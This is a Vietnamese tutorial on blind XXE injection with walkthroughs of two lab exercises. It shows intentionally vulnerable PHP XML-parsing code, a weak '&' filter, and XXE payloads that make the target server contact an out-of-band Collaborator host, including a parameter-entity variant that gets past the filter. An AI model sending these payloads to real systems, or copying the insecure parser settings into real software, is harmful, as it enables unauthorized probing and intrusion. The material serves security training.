II. Phân tích và khai thác các lỗ hổng XXE injection (tiếp)
3. Lỗ hổng XXE injection dạng Blind và cách nhận biết
Cũng giống như các lỗ hổng khác, nhiều trường hợp trang web chứa quá trình phân tích cú pháp XML nhưng không trả về kết quả trong giao diện ứng dụng. Khi đó lỗ hổng XXE vẫn có thể xảy ra nhưng ở dạng blind, hay còn được gọi là Blind XXE injection.
Ví dụ đoạn code PHP sau:
<?php $result = null; libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input'); try{ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $username = $creds->username; $password = $creds->password; if($username == 'admin' && $password == 'admin'){ $result = sprintf("<result><msg>Welcome back admin! My secret is in /flag</msg></result>"); }else{ $result = sprintf("<result><msg>Invalid username or password</msg></result>"); } }catch(Exception $e){ $result = sprintf("<result><msg>%s</msg></result>", $e->getMessage());
} header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
Đoạn code trên chứa chức năng đăng nhập chuyển dữ liệu người dùng nhập thành định dạng XML và trang web thực hiện phân tích cú pháp XML.
Khi đăng nhập đúng, giao diện trả về path chứa secret (flag), khi đăng nhập sai giao diện hiển thị thông báo Invalid username or password!. Trong cả hai trường hợp thì giao diện đều không trả về input (username hoặc password) từ người dùng.
Đây là một ví dụ điển hình cho tính chất "blind". Chúng ta cần có một phương pháp xác định lỗ hổng XXE dạng blind có tồn tại hay không. Không còn xa lạ nữa, chúng ta sẽ sử dụng kỹ thuật out-of-band (OAST).
Lúc này, thay vì khai báo external entity có giá trị là nội dung tệp tin (dù có truy xuất được nội dung lưu trong entity nhưng không thể hiển thị trong giao diện ứng dụng), chúng ta sẽ gọi entity truy xuất tới URL tại domain DNS của server khác nhằm phát hiện request tương tác tới từ server nghi ngờ chứa lỗ hổng, trong bài viết này tôi sử dụng công cụ Burp Bollaborator. Payload có dạng như sau:
<!DOCTYPE abc [ <!ENTITY xxe SYSTEM "http://[COLLABORATOR-DOMAIN]"> ]>
<user> <username>&xxe;</username> <password>a</password>
</user>
Do trang web vẫn thực hiện quá trình phân tích cú pháp dữ liệu XML nên server victim sẽ gửi các request phân giải tên miền tương tác với server DNS Burp Collaborator, chúng ta có thể thấy rõ các request nhận được từ IP server victim:
Phân tích lab Blind XXE with out-of-band interaction
Miêu tả: Chức năng "Check stock" của trang web phân tích cú pháp dữ liệu XML nhưng không trả về bất kỳ kết quả nào trong giao diện. Để hoàn thành bài lab, chúng ta cần thực hiện một kịch bản DNS lookup tới client Burp Collaborator.
Quan sát request khi sử dụng chức năng "Check stock":
Định nghĩa một entity với nội dung bất kỳ, nhận thấy giao diện không trả về giá trị entity:
Dự đoán trang web thực hiện phân tích cú pháp dữ liệu XML, chúng ta có thể dễ dàng kiểm tra điều này, chẳng hạn với một input dữ liệu XML không đúng tiêu chuẩn:
Thực hiện một kịch bản DNS lookup tới client Burp Collaborator:
Tuy trang web trả về thông báo "Invalid product ID" nhưng trước đó đã thực hiện quá trình phân tích cú pháp XML, dẫn đến client Burp Collaborator nhận được request DNS lookup gửi từ server victim:
Bài lab hoàn thành:
4. Lỗ hổng Blind XXE injection với parameter entity
Có lẽ các bạn đã nhận ra một điểm quan trọng trong quá trình khai thác lỗ hổng XXE là kẻ tấn công cần tự định nghĩa / khai báo một entity. Từ đó các nhà phát triển thường sử dụng cơ chế ngăn chặn dạng tấn công này bằng cách loại bỏ ký tự &
khỏi khối dữ liệu XML hoặc trực tiếp từ chối các dữ liệu XML có chứa ký tự "nhạy cảm" này. Ví dụ đoạn code PHP sau kiểm tra ký tự &
khi trang web thực hiện phân tích dữ liệu XML:
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input'); ... // filter character & if (strpos($xmlfile, '&')) { $result = sprintf("<result><msg>Invalid character &</msg></result>"); } ...
Trang web thực hiện kiểm tra sự xuất hiện của ký tự &
trong dữ liệu POST từ yêu cầu người dùng (Ở đây là dữ liệu XML) bằng hàm strpos()
, nếu có sẽ trả về thông báo "Invalid character &"
Cơ chế thực sự đã ngăn chặn kẻ tấn công không thể tự định nghĩa các entity với ký tự &
. Như vậy, quá trình phân tích cú pháp XML sẽ diễn ra nếu trong dữ liệu XML không tồn tại ký tự &
. Khi đó kẻ tấn công có thể tìm kiếm một cách khác để tạo entity không sử dụng ký tự &
. Và họ có thể thay thế bằng các XML parameter entities. Cú pháp khai báo của parameter entity sử dụng %
thay thế &
:
<!ENTITY % myparameterentity "my parameter entity value" >
Trong đó myparameterentity
là tên của parameter entity, theo sau đó là giá trị tương ứng. Sau đó, loại entity này được tham chiếu bằng cú pháp: %myparameterentity;
Ví dụ một payload đầy đủ khi sử dụng parameter entity trong quá trình thực hiện kịch bản DNS lookup:
<!DOCTYPE abc [ <!ENTITY % xxe SYSTEM "http://h5n02hwtymko2ht70twke6dndej47t.oastify.com"> %xxe; ]>
Phân tích lab Blind XXE with out-of-band interaction via XML parameter entities
Miêu tả: Chức năng "Check stock" của trang web phân tích cú pháp dữ liệu XML nhưng không trả về bất kỳ kết quả nào trong giao diện. Đồng thời chứa một cơ chế ngăn chặn tấn công XXE. Để hoàn thành bài lab, chúng ta vượt qua lớp ngăn chặn, từ đó thực hiện một kịch bản DNS lookup tới client Burp Collaborator.
Quan sát request khi sử dụng chức năng "Check Stock":
Hệ thống chứa cơ chế ngăn chặn tấn công XXE. Sau khi kiểm tra phát hiện ký tự &
không được phép sử dụng trong dữ liệu POST.
Tức là chúng ta không thể định nghĩa các entity thông thường với ký tự &
như &xxe;
. Tuy nhiên, ký tự %
được phép sử dụng, giao diện chỉ trả về thông báo cú pháp XML lỗi chứ không phải do nguyên nhân phát hiện ký tự nhạy cảm:
Như vậy chúng ta có thể định nghĩa một parameter entity và gọi tham chiếu tới entity này, từ đó truy cập tới giá trị của nó, payload tạo yêu cầu DNS lookup tới client Burp Collaborator:
<!DOCTYPE abc [ <!ENTITY % xxe SYSTEM "http://[DOMAIN-COLLABORATOR]"> %xxe; ]>
Sau khi gửi request, client Collaborator nhận được yêu cầu phân giải tên miền từ server victim, bài lab hoàn thành: